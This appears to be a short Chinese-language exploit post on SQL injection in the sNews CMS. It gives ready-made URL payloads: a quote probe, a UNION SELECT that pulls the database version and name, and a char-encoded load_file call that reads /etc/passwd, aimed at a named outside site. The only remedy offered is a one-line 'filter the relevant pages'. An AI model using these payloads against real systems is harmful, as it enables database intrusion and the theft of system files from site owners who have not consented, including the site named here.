标题:sNews sql injection Vulnerabilities

作者: Angel Injection www.2cto.com

示例：

http://www.2cto.com /[path]/index.php?id=8'

http://www.2cto.com /path/index.php?id=-8+union+select+1,version(),database(),4,5,6,7,8,9,10,11

http://www.pcpirates.co.uk/ Site Pirates of the site Ukraine ^_^

http://www.pcpirates.co.uk/sNews/index.php?id=8+union+select+1,replace%28load_file%28char%2847,101,116,99,47,112,97,115,115,119,100%29%29,char%2860%29,char%2832%29%29,3,4,5,6,7,8,9,10,11

修复：

过滤相关页面